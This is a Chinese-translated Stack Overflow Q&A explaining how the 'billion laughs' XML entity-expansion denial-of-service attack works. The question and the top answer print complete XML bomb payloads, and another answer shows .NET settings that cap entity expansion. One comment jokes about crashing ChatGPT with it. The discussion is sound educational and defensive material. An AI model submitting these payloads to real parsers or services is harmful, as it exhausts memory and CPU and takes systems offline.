十亿笑XML DoS攻击是如何工作的?

72
<!DOCTYPE root [
 <!ENTITY ha "Ha !">
 <!ENTITY ha2 "&ha; &ha;">
 <!ENTITY ha3 "&ha2; &ha2;">
 <!ENTITY ha4 "&ha3; &ha3;">
 <!ENTITY ha5 "&ha4; &ha4;">
 ...
 <!ENTITY ha128 "&ha127; &ha127;">
 ]>
 <root>&ha128;</root>

据说这被称为“十亿笑”拒绝服务攻击。

有人知道它是如何工作的吗?


21
应迁移到BufferOverFlow...http://en.wikipedia.org/wiki/Billion_laughs - codingbadger
在Firefox 48上尝试一下SVG,让你的电脑卡住 :-) https://bugzilla.mozilla.org/show_bug.cgi?id=798374 - Ciro Santilli OurBigBook.com
看起来像小丑喜欢的东西。名字听起来有点漫画风格。 - sktguha
这个聊天GPT崩溃了,哈哈哈哈,试试看吧。 - Alex Gordon
3个回答

94

十亿笑攻击是一种针对XML解析器的拒绝服务攻击。十亿笑攻击也被称为XML炸弹,或更加深奥的指数实体扩展攻击。即使使用格式良好的XML和经过XML模式验证,十亿笑攻击仍然可能发生。

下面的XML文件展示了普通的十亿笑攻击。

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
在这个例子中,有10个不同的XML实体, lol - lol9。第一个实体 lol 被定义为字符串 "lol" 但是其他每个实体都被定义为另一个实体的10倍。在XML文件的文档内容部分只包含对实体 lol9 的一个引用。然而,在DOM或SAX解析器解析时,当遇到 lol9时,它会扩展为10个 lol8,每个实体都会扩展为10个 lol7,以此类推。到文本变成 lol 时,就会出现1亿个字符串 "lol" 的实例。如果再多一个实体,或者lol被定义为10个字符串 "lol",则会有十亿个“lol”,这就是攻击名称的由来。不言自明,这么多次扩展需要消耗指数级别的资源和时间,从而导致DOS攻击。
我的博客上有更详细的解释。

2
你一定会喜欢安全博客网站使用的历史记录和重定向技巧来捕获流量的方式 ;) - jww
19
什么?没有CodePen的示例? - Sandy Gifford

27

其中之一的 XML 炸弹 - http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

攻击者现在可以利用 XML 的这三个属性(替换实体、嵌套实体和内联 DTD)来创建恶意 XML 炸弹。攻击者编写一个带有嵌套实体的 XML 文档,就像之前的示例一样,但他的实体不仅嵌套一层,而是多层嵌套...

在 .NET 世界中,也有防范这些“炸弹”的代码:

XmlReaderSettings settings = new XmlReaderSettings();
settings.ProhibitDtd = false;
settings.MaxCharactersFromEntities = 1024;
XmlReader reader = XmlReader.Create(stream, settings);

1
感谢您引用了保护代码以防止攻击! - 0xInfection

15

<!ENTITY ha "Ha !">定义了一个名为&ha;的实体,它会扩展成"Ha !"。下一行定义了另一个实体&ha2;,它会扩展成"&ha; &ha;",最终变成"Ha ! Ha !"

&ha3;会变成Ha ! Ha ! Ha ! Ha !,以此类推,每次都会翻倍。按照这个模式,&haN;"Ha !",翻倍次数为2的N-1次方,因此&ha128将扩展为2的127次方个"Ha !",这超出了计算机处理的范围。


哎呀,我犯了个错误,我除以二了,而不是减去一。 - Matthew Crumley

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接